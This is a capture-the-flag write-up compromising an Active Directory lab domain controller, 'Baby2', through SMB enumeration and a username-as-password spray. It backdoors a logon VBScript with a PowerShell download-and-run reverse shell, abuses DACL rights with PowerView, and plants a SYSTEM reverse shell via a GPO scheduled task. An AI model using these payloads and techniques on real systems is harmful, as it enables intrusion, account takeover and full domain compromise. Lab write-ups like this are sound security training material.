This is a Medium Active Directory box where the disclosure of usernames in an open SMB share together with a weak password leads to domain access. From there, a login script is changed to execute malicious code ias another user. That user has permissive DACL rights and can create a scheduled task on a GPO that runs as NT Authority \System.
Recon
Starting with the nmap scan, the ports open seem the default for a Windows AD Domain Controller.
$ sudo nmap -sS $IP -o allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-25 14:54 WEST
Nmap scan report for 10.129.75.28
Host is up (0.040s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
A service scan reveals the domain (baby2.vl) and the Domain Controller hostname (dc.baby2.vl).
$ sudo nmap -sCV $IP -p53,88,135,139,389,445,464,593,636,3268,3269,3389 -o openPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-25 14:58 WEST
Nmap scan report for 10.129.75.28
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-25 14:58:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after: 2105-08-19T14:22:11
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after: 2105-08-19T14:22:11
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after: 2105-08-19T14:22:11
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after: 2105-08-19T14:22:11
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc.baby2.vl
| Not valid before: 2025-08-18T14:29:57
|_Not valid after: 2026-02-17T14:29:57
| rdp-ntlm-info:
| Target_Name: BABY2
| NetBIOS_Domain_Name: BABY2
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: baby2.vl
| DNS_Computer_Name: dc.baby2.vl
| DNS_Tree_Name: baby2.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-09-25T14:58:49+00:00
|_ssl-date: 2025-09-25T14:59:29+00:00; +1h00m01s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
That information is added to the /etc/hosts file.
$ echo '10.129.75.28 dc dc.baby2.vl baby2.vl' | sudo tee -a /etc/hosts
10.129.75.28 dc dc.baby2.vl baby2.vl
Guest Login in SMB is enbled and we are able to list shares, which reveals some non-default ones with READ access
$ nxc smb $IP -u 'doesnotexist' -p '' --shares
SMB 10.129.75.28 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB 10.129.75.28 445 DC [+] baby2.vl\doesnotexist: (Guest)
SMB 10.129.75.28 445 DC [*] Enumerated shares
SMB 10.129.75.28 445 DC Share Permissions Remark
SMB 10.129.75.28 445 DC ----- ----------- ------
SMB 10.129.75.28 445 DC ADMIN$ Remote Admin
SMB 10.129.75.28 445 DC apps READ
SMB 10.129.75.28 445 DC C$ Default share
SMB 10.129.75.28 445 DC docs
SMB 10.129.75.28 445 DC homes READ,WRITE
SMB 10.129.75.28 445 DC IPC$ READ Remote IPC
SMB 10.129.75.28 445 DC NETLOGON READ Logon server share
SMB 10.129.75.28 445 DC SYSVOL Logon server share
User Flag
We can list the homes share content with smbclient and a list of domain usernames is retrieved.
$ smbclient -U doesnotexist \\\\$IP\\'homes'
Password for [WORKGROUP\doesnotexist]:
smb: \> dir
. D 0 Thu Sep 25 16:01:16 2025
.. D 0 Tue Aug 22 21:10:21 2023
Amelia.Griffiths D 0 Tue Aug 22 21:17:06 2023
Carl.Moore D 0 Tue Aug 22 21:17:06 2023
Harry.Shaw D 0 Tue Aug 22 21:17:06 2023
Joan.Jennings D 0 Tue Aug 22 21:17:06 2023
Joel.Hurst D 0 Tue Aug 22 21:17:06 2023
Kieran.Mitchell D 0 Tue Aug 22 21:17:06 2023
library D 0 Tue Aug 22 21:22:47 2023
Lynda.Bailey D 0 Tue Aug 22 21:17:06 2023
Mohammed.Harris D 0 Tue Aug 22 21:17:06 2023
Nicola.Lamb D 0 Tue Aug 22 21:17:06 2023
Ryan.Jenkins D 0 Tue Aug 22 21:17:06 2023
We save them into a file for later use.
$ echo ' Amelia.Griffiths D 0 Tue Aug 22 21:17:06 2023
Carl.Moore D 0 Tue Aug 22 21:17:06 2023
Harry.Shaw D 0 Tue Aug 22 21:17:06 2023
Joan.Jennings D 0 Tue Aug 22 21:17:06 2023
Joel.Hurst D 0 Tue Aug 22 21:17:06 2023
Kieran.Mitchell D 0 Tue Aug 22 21:17:06 2023
library D 0 Tue Aug 22 21:22:47 2023
Lynda.Bailey D 0 Tue Aug 22 21:17:06 2023
Mohammed.Harris D 0 Tue Aug 22 21:17:06 2023
Nicola.Lamb D 0 Tue Aug 22 21:17:06 2023
Ryan.Jenkins D 0 Tue Aug 22 21:17:06 2023
' | awk '{print $1}' > users.txt
In the apps share there is a Windows LNK file, which is downloaded to the local machine for inspection.
$ smbclient -U doesnotexist \\\\$IP\\'apps'
Password for [WORKGROUP\doesnotexist]:
smb: \> dir dev/
. D 0 Thu Sep 7 20:13:50 2023
.. D 0 Thu Sep 25 16:50:25 2025
CHANGELOG A 108 Thu Sep 7 20:16:15 2023
login.vbs.lnk A 1800 Thu Sep 7 20:13:23 2023
Looking at strings inside the LNK file, it seems the login.vbs script is being referenced. For now, we don’t have access to the SYSVOL SMB Share where the file is located.
$ strings -el login.vbs.lnk
Windows
SYSVOL
sysvol
baby2.vl
=scripts
login.vbs
s9..\..\..\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs)C:\Windows\SYSVOL\sysvol\baby2.vl\scripts
scripts (C:\Windows\SYSVOL\sysvol\baby2.vl)
S-1-5-21-213243958-1766259620-4276976267-500
login.vbs
VBScript Script File
C:\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs
By bruteforcing for users who are using their name as the password, we are able to login as 2 different users.
$ nxc smb dc.baby2.vl -u users.txt -p users.txt --continue-on-success --no-bruteforce
SMB 10.129.75.28 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB 10.129.75.28 445 DC [-] baby2.vl\Amelia.Griffiths:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.129.75.28 445 DC [+] baby2.vl\Carl.Moore:Carl.Moore
SMB 10.129.75.28 445 DC [-] baby2.vl\Harry.Shaw:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.129.75.28 445 DC [-] baby2.vl\Joan.Jennings:Joan.Jennings STATUS_LOGON_FAILURE
SMB 10.129.75.28 445 DC [-] baby2.vl\Joel.Hurst:Joel.Hurst STATUS_LOGON_FAILURE
SMB 10.129.75.28 445 DC [-] baby2.vl\Kieran.Mitchell:Kieran.Mitchell STATUS_LOGON_FAILURE
SMB 10.129.75.28 445 DC [+] baby2.vl\library:library
SMB 10.129.75.28 445 DC [-] baby2.vl\Lynda.Bailey:Lynda.Bailey STATUS_LOGON_FAILURE
SMB 10.129.75.28 445 DC [-] baby2.vl\Mohammed.Harris:Mohammed.Harris STATUS_LOGON_FAILURE
SMB 10.129.75.28 445 DC [-] baby2.vl\Nicola.Lamb:Nicola.Lamb STATUS_LOGON_FAILURE
SMB 10.129.75.28 445 DC [-] baby2.vl\Ryan.Jenkins:Ryan.Jenkins STATUS_LOGON_FAILURE
With the Carl.Moore user, we have increased privileges over the SMB shares, including read access to SYSVOL.
$ nxc smb dc.baby2.vl -u carl.moore -p Carl.Moore --shares
SMB 10.129.75.28 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB 10.129.75.28 445 DC [+] baby2.vl\carl.moore:Carl.Moore
SMB 10.129.75.28 445 DC [*] Enumerated shares
SMB 10.129.75.28 445 DC Share Permissions Remark
SMB 10.129.75.28 445 DC ----- ----------- ------
SMB 10.129.75.28 445 DC ADMIN$ Remote Admin
SMB 10.129.75.28 445 DC apps READ,WRITE
SMB 10.129.75.28 445 DC C$ Default share
SMB 10.129.75.28 445 DC docs READ,WRITE
SMB 10.129.75.28 445 DC homes READ,WRITE
SMB 10.129.75.28 445 DC IPC$ READ Remote IPC
SMB 10.129.75.28 445 DC NETLOGON READ Logon server share
SMB 10.129.75.28 445 DC SYSVOL READ Logon server share
We can connect to that share and retrieve the login.vbs script that was being referenced before.
$ smbclient -U Carl.Moore \\\\$IP\\'sysvol'
Password for [WORKGROUP\Carl.Moore]:
smb: \> cd baby2.vl\scripts\
smb: \baby2.vl\scripts\> get login.vbs
getting file \baby2.vl\scripts\login.vbs of size 992 as login.vbs (6.4 KiloBytes/sec) (average 6.4 KiloBytes/sec)
It looks like a script that is executed when a user logs in to mount some shares to local drives. We can add some malicious code to the file and replace it in the SYSVOL share, waiting for someone to login and trigger the script.
We must host a reverse shell in the local machine with python3 -m http.server 80 and add the following code to the end of the login.vbs script.
Set objShell = CreateObject("Wscript.Shell")
objShell.Run("powershell.exe -nop -ep bypass -c IEX(new-object system.net.webclient).downloadstring('http://10.10.14.122/rev.ps1');Invoke-PowerShellTCP -Reverse -IPAddress 10.10.14.122 -Port 9001")
Then upload it to the share, overwriting the legitimate one.
smb: \baby2.vl\scripts\> put login.vbs
putting file login.vbs as \baby2.vl\scripts\login.vbs (10.1 kb/s) (average 10.1 kb/s)
After a minute, we receive a shell in our listener and confirm we have access as the Amelia.Griffiths user.
$ rlwrap nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.122] from (UNKNOWN) [10.129.75.28] 51500
Windows PowerShell running as user Amelia.Griffiths on DC
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>whoami
baby2\amelia.griffiths
PS C:\Windows\system32> dir c:\user.txt
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/16/2025 2:47 AM 32 user.txt
Root Flag
To search for possible privilege escalation paths, we enumerate the domain using bloodhound-ce-python with the credentials we obtained before.
$ bloodhound-ce-python -d baby2.vl -u Carl.Moore -p Carl.Moore -ns $IP -c All --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: baby2.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Found 16 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.baby2.vl
INFO: Done in 00M 07S
INFO: Compressing output into 20250925170208_bloodhound.zip
A possible exploit path starting from Amelia.Griffiths is found. Since she is a member of Legacy, she has WriteDacl over the GPOADM user.
To take over GPOADM we can give Amelia.Griffiths Full Control Rights over him using PowerView. First we transfer the tool to the victim machine.
PS C:\programdata> certutil.exe -urlcache -split -f http://10.10.14.122/PowerView.ps1 PowerView.ps1
**** Online ****
000000 ...
0bc0e7
CertUtil: -URLCache command completed successfully.
With the Add-DomainObjectAcl command, we obtain control over GPOADM and can change his password to one of our choice, in this case “Password123”.
PS C:\programdata> Import-Module .\PowerView.ps1
PS C:\programdata> Add-DomainObjectAcl -PrincipalIdentity Amelia.Griffiths -TargetIdentity GPOADM -Rights All
PS C:\programdata> $UserPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
PS C:\programdata> Set-DomainUserPassword -Identity GPOADM -AccountPassword $UserPassword
We can confirm the password was changed with ncx.
$ nxc smb dc.baby2.vl -u gpoadm -p 'Password123'
SMB 10.129.75.28 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB 10.129.75.28 445 DC [+] baby2.vl\gpoadm:Password123
As seen in the BloodHound graph, GPOADM has GenericAll rights over the Default Domain Policy GPO, which can be abused to create a scheduled task that runs code as SYSTEM.
The pygpoabuse.py script will be used to create a task that will execute a reverse shell. The target GPO ID is needed and can be found in BloodHound, in the Domain Policy GPO properties.
GPO ID in the Distinguished Name field
The command can be ran after the IP and port are changed from the default reverse shell to match the attacker’s.
$ python3 pygpoabuse.py baby2.vl/gpoadm:'Password123' -dc-ip $IP -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" \
-powershell -command "\$client = New-Object System.Net.Sockets.TCPClient('10.10.14.122',9002);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
-taskname "Completely Legit Task" -description "Legimitate Task" -f
[+] ScheduledTask Completely Legit Task created!
To force the execution of the schedule task, the GPO is manually upated in the shell we obtained before as Amelia.Griffiths
PS C:\programdata> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
Immediatly we catch the reverse shell in our listener, running as SYSTEM. We can then obtain the Root Flag
$ rlwrap nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.14.122] from (UNKNOWN) [10.129.75.28] 53495
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> dir c:\users\administrator\desktop\root.txt
Directory: C:\users\administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/16/2025 2:47 AM 32 root.txt
It is a good practice to revert changes made, which can be done with this command:
$ python3 pygpoabuse.py baby2.vl/gpoadm:'Password123' -dc-ip $IP -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" --cleanup